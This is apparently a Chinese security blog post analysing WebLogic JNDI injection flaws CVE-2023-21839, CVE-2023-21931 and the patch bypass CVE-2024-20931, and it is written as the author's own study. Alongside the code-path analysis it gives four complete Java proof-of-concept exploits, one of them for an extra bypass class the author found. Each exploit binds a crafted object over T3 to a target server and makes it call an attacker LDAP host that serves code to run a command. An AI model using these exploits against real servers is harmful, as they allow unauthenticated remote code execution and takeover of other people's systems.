从CVE-2023-21839到CVE-2024-20931
从CVE-2023-21839到CVE-2024-20931
前言
某天刷手机看到微信公众号上发布的漏洞通告 “Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)” 就联想到了WebLogic之前也存在过的JNDI注入漏洞,分别是CVE-2023-21839 和 CVE-2023-21931 。漏洞通告中说的是CVE-2023-21839的补丁绕过,于是就想看看绕过,学习学习,也回顾一下前面两个漏洞
远程绑定对象
Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看
// 创建远程对象
MyRemoteObject remoteObject = new MyRemoteObject();
// 获取上下文
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>");
Context ctx = new InitialContext(env);
// 绑定对象到JNDI
ctx.rebind("myRemoteObject", remoteObject);
// 远程查找对象
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");
CVE-2023-21839
漏洞描述
当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
漏洞分析
在t3/iiop协议解析查找对象的过程中会调用weblogic.jndi.internal.WLNamingManager
的getObjectInstance
方法
这个第一个参数boundObject
是远程绑定的对象,如果这个对象继承或实现了OpaqueReference
接口则会调用这个对象的getReferent()
方法
漏洞利用的是weblogic.deployment.jms.ForeignOpaqueReference这个类
在这个类的getReferent()
方法中实现了JNDI的初始化上下文和对象查询
如果可以控制这个类的this.jndiEnvironment
和this.remoteJNDIName
就能造成JNDI注入
这个可以通过反射修改
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
remoteJNDIName.set(f, ldap);
最后poc如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.79.146:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ----------------- CVE-2023-21839
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
CVE-2023-21931
漏洞分析
这个漏洞和CVE-2023-21839的差不多,区别在于weblogic.jndi.internal.WLNamingManager
的getObjectInstance
方法中
该漏洞走的是另外一个分支,如果绑定的对象继承了LinkRef类则进入这个分支
看到下面的boundObject = ic.lookup(linkName)
, 如果能控制这个linkName
就可以造成JNDI注入了
跟进getLinkName()
继续跟进getContent()
可以看到这个contents是通过构造函数赋值的,是LinkRef构造函数中传入的linkName
所有这个poc很简单
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.79.146:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//LinkRef类使用
LinkRef f = new LinkRef("ldap://192.168.1.12:1389/Basic/Command/calc"); //CVE-2023-21931
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
CVE-2024-20931
漏洞描述:
该漏洞为CVE-2023-21839的补丁绕过,未经身份验证的威胁者可通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server,成功利用该漏洞可能导致Oracle WebLogic Server被接管或未授权访问
受影响的支持版本包括:
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
漏洞分析
在补丁中,对weblogic.deployment.jms.ForeignOpaqueReference
这个利用类的getReferent()方法进行了些许修改:
这里对这个java.naming.provider.url
进行了检查(验签),检查不过则报错处理,不再往下运行。可以将其置空则会不进入判断继续往下运行
往下还能看到对remoteJNDIName
的处理
这个JNDIUtils.isValidJndiScheme方法似乎绕不过
根据网传的POC,还是使用的是使用这个类
在这个补丁中还是能够正常的利用到这一步:
context = new InitialContext(this.jndiEnvironment);
这个this.jndiEnvironment可控,漏洞就是在这一步中触发
思路是在指定java.naming.factory.initial进行初始化的时候进行利用,指定的java.naming.factory.initial
为oracle.jms.AQjmsInitialContextFactory
在oracle.jms.AQjmsInitialContextFactory进行初始化的时候会new 一个AQjmsContext()对象,其中这个var1参数是可控的
跟进查看
这个构造函数会将Hashtable中的datasource
,保存到this.dsLocation
中,然后调用this.getDataSource()
然后在这个方法中造成了JNDI注入,这样就不用再受前面说的this.remoteJNDIName
的限制了
完整POC:
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.LinkRef;
public class Main {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.79.146:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "ldap://192.168.1.12:1389/Basic/Command/calc");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
// 远程绑定ForeignOpaqueReference对象
c.rebind("glassy", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("glassy");
} catch (Exception e) {
}
}
}
其他思考
CVE-2024-20931还是使用了和CVE-2024-20931一样的类weblogic.deployment.jms.ForeignOpaqueReference
回到weblogic.jndi.internal.WLNamingManager
的getObjectInstance
方法中
是不是还能找到其他实现了OpaqueReference
接口的利用类
然后找到weblogic.jndi.internal.ForeignOpaqueReference
乍一看以为是前面的weblogic.deployment.jms.ForeignOpaqueReference
,但是这个类比它简单很多
查看该类的getReferent()
public Object getReferent(Name name, Context ctx) throws NamingException {
InitialContext context;
if (this.jndiEnvironment == null) {
context = new InitialContext();
} else {
Hashtable properties = this.decrypt();
context = new InitialContext(properties);
}
Object retVal;
try {
retVal = context.lookup(this.remoteJNDIName);
} finally {
context.close();
}
return retVal;
}
完美! 可用!
POC 如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
//import weblogic.deployment.jms.ForeignOpaqueReference; //CVE-2023-21839+CVE-2024-20931
import weblogic.jndi.internal.ForeignOpaqueReference;
import javax.naming.LinkRef;
import com.rsa.jsafe.JSAFE_InvalidUseException;
public class Main {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.79.146:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc";
ForeignOpaqueReference f = new ForeignOpaqueReference(ldap,env2);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
在我以为自己找到了新方法的时候,才发现漏洞作者已经提到过了,只是没有放POC
白高兴一场
我还找到这个类:weblogic.application.naming.MessageDestinationReference
在这个类的lookupMessageDestination()
方法中也可以JNDI:
public Object lookupMessageDestination() throws NamingException {
InitialContext ic;
if (this.initialContextFactory == null) {
ic = new InitialContext();
} else {
Hashtable<String, String> env = new Hashtable();
env.put("java.naming.factory.initial", this.initialContextFactory);
if (null != this.providerURL) {
env.put("java.naming.provider.url", this.providerURL);
}
ic = new InitialContext(env);
}
return ic.lookup(this.jndiName);
}
整个调用过程如下,但是不知道能不能利用,需要慢慢尝试
经过一番尝试,不能利用这个调用过程,因为无法控制参数replacerList (或许能控制,只是我不懂),进而无法让其调用到weblogic.application.naming.MessageDestinationObjectFactory
的getObjectInstance
中